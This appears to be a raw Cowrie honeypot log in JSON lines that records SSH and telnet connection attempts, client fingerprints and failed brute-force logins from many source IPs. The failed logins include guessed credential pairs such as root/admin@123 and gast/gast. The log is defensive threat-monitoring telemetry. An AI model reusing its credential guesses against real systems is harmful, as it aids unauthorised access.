{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:04:35.503293Z","src_ip":"176.32.39.21","session":"5a4b816f82b9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"antosha","message":"login attempt [root/antosha] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:04:35.885940Z","src_ip":"176.32.39.21","session":"5a4b816f82b9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:04:37.017393Z","src_ip":"176.32.39.21","session":"5a4b816f82b9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.968395948410034,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:04:42.122154Z","src_ip":"79.139.59.21","session":"6080811d3297","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.66253471374512,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:04:49.906166Z","src_ip":"69.4.83.194","session":"c7d75d6c74e1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"178.128.93.180","src_port":54886,"dst_ip":"10.17.0.5","dst_port":23,"session":"74cfffc41da7","protocol":"telnet","message":"New connection: 178.128.93.180:54886 (10.17.0.5:23) [session: 74cfffc41da7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:05:19.738687Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.250.105.222","src_port":44924,"dst_ip":"10.17.0.5","dst_port":22,"session":"b101f1b83d13","protocol":"ssh","message":"New connection: 51.250.105.222:44924 (10.17.0.5:22) [session: b101f1b83d13]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:05:33.849550Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:05:33.854332Z","src_ip":"51.250.105.222","session":"b101f1b83d13","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:05:33.983792Z","src_ip":"51.250.105.222","session":"b101f1b83d13","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"checking!@!@%","message":"login attempt [root/checking!@!@%] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:05:34.374288Z","src_ip":"51.250.105.222","session":"b101f1b83d13","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:05:35.506467Z","src_ip":"51.250.105.222","session":"b101f1b83d13","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"88.147.30.59","src_port":37327,"dst_ip":"10.17.0.5","dst_port":22,"session":"b3e415c23cb1","protocol":"ssh","message":"New connection: 88.147.30.59:37327 (10.17.0.5:22) [session: b3e415c23cb1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:05:38.204117Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:05:38.209171Z","src_ip":"88.147.30.59","session":"b3e415c23cb1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:05:38.322860Z","src_ip":"88.147.30.59","session":"b3e415c23cb1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin@123","message":"login attempt [root/admin@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:05:38.808394Z","src_ip":"88.147.30.59","session":"b3e415c23cb1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:05:39.926848Z","src_ip":"88.147.30.59","session":"b3e415c23cb1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":41504,"dst_ip":"159.203.135.109","dst_port":23,"session":"a10a66413419","protocol":"telnet","message":"New connection: 69.4.83.194:41504 (159.203.135.109:23) [session: a10a66413419]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:05:42.770334Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.132.16","src_port":36856,"dst_ip":"159.203.135.109","dst_port":22,"session":"e9e724da96aa","protocol":"ssh","message":"New connection: 103.82.132.16:36856 (159.203.135.109:22) [session: e9e724da96aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:05:47.300459Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:05:47.309114Z","src_ip":"103.82.132.16","session":"e9e724da96aa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:05:47.568268Z","src_ip":"103.82.132.16","session":"e9e724da96aa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"515253","message":"login attempt [root/515253] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:05:48.319466Z","src_ip":"103.82.132.16","session":"e9e724da96aa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:05:49.590212Z","src_ip":"103.82.132.16","session":"e9e724da96aa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.226.105.59","src_port":40272,"dst_ip":"159.203.135.109","dst_port":22,"session":"584fce316792","protocol":"ssh","message":"New connection: 91.226.105.59:40272 (159.203.135.109:22) [session: 584fce316792]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:05:51.407783Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":53068,"dst_ip":"159.203.135.109","dst_port":23,"session":"49d3ccb5e897","protocol":"telnet","message":"New connection: 69.4.83.194:53068 (159.203.135.109:23) [session: 49d3ccb5e897]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:06:12.952509Z"}
{"eventid":"cowrie.session.closed","duration":34.98899602890015,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:06:17.759241Z","src_ip":"69.4.83.194","session":"a10a66413419","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":68.65150475502014,"message":"Connection lost after 68 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:06:28.390076Z","src_ip":"178.128.93.180","session":"74cfffc41da7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.32419466972351,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:06:47.276586Z","src_ip":"69.4.83.194","session":"49d3ccb5e897","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"179.26.108.79","src_port":35172,"dst_ip":"159.203.135.109","dst_port":23,"session":"f96a9571a0fe","protocol":"telnet","message":"New connection: 179.26.108.79:35172 (159.203.135.109:23) [session: f96a9571a0fe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:07:13.217455Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.77.175.15","src_port":56314,"dst_ip":"159.203.135.109","dst_port":22,"session":"51ab95ead66b","protocol":"ssh","message":"New connection: 103.77.175.15:56314 (159.203.135.109:22) [session: 51ab95ead66b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:07:29.822137Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:07:29.826972Z","src_ip":"103.77.175.15","session":"51ab95ead66b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:07:30.082178Z","src_ip":"103.77.175.15","session":"51ab95ead66b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":54798,"dst_ip":"159.203.135.109","dst_port":23,"session":"c9f015471ed7","protocol":"telnet","message":"New connection: 69.4.83.194:54798 (159.203.135.109:23) [session: c9f015471ed7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:07:30.443103Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"937999","message":"login attempt [root/937999] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:07:30.863002Z","src_ip":"103.77.175.15","session":"51ab95ead66b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:07:32.120887Z","src_ip":"103.77.175.15","session":"51ab95ead66b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:07:51.417162Z","src_ip":"91.226.105.59","session":"584fce316792","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"88.147.30.59","src_port":52021,"dst_ip":"10.17.0.5","dst_port":22,"session":"0e349a4cc4ef","protocol":"ssh","message":"New connection: 88.147.30.59:52021 (10.17.0.5:22) [session: 0e349a4cc4ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:07:55.361233Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:07:55.366077Z","src_ip":"88.147.30.59","session":"0e349a4cc4ef","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:07:55.483884Z","src_ip":"88.147.30.59","session":"0e349a4cc4ef","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gast","password":"gast","message":"login attempt [gast/gast] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:07:55.970157Z","src_ip":"88.147.30.59","session":"0e349a4cc4ef","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:07:57.086799Z","src_ip":"88.147.30.59","session":"0e349a4cc4ef","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.08913064002991,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:08:05.532103Z","src_ip":"69.4.83.194","session":"c9f015471ed7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.133.65.220","src_port":38308,"dst_ip":"159.203.135.109","dst_port":22,"session":"ecac1e738b38","protocol":"ssh","message":"New connection: 43.133.65.220:38308 (159.203.135.109:22) [session: ecac1e738b38]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:08:16.232080Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:08:16.238701Z","src_ip":"43.133.65.220","session":"ecac1e738b38","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:08:16.441174Z","src_ip":"43.133.65.220","session":"ecac1e738b38","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qazQAZ123!@#","message":"login attempt [root/qazQAZ123!@#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:08:17.279678Z","src_ip":"43.133.65.220","session":"ecac1e738b38","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:08:18.485355Z","src_ip":"43.133.65.220","session":"ecac1e738b38","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"89.223.69.22","src_port":53138,"dst_ip":"10.17.0.5","dst_port":22,"session":"0972c406f171","protocol":"ssh","message":"New connection: 89.223.69.22:53138 (10.17.0.5:22) [session: 0972c406f171]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:08:20.701839Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":46272,"dst_ip":"159.203.135.109","dst_port":23,"session":"5a21d46144ce","protocol":"telnet","message":"New connection: 69.4.83.194:46272 (159.203.135.109:23) [session: 5a21d46144ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:08:23.005822Z"}
{"eventid":"cowrie.session.connect","src_ip":"180.178.94.210","src_port":42000,"dst_ip":"159.203.135.109","dst_port":22,"session":"ceac1bf8ffa2","protocol":"ssh","message":"New connection: 180.178.94.210:42000 (159.203.135.109:22) [session: ceac1bf8ffa2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:08:42.716897Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:08:42.721486Z","src_ip":"180.178.94.210","session":"ceac1bf8ffa2","protocol":"ssh"}
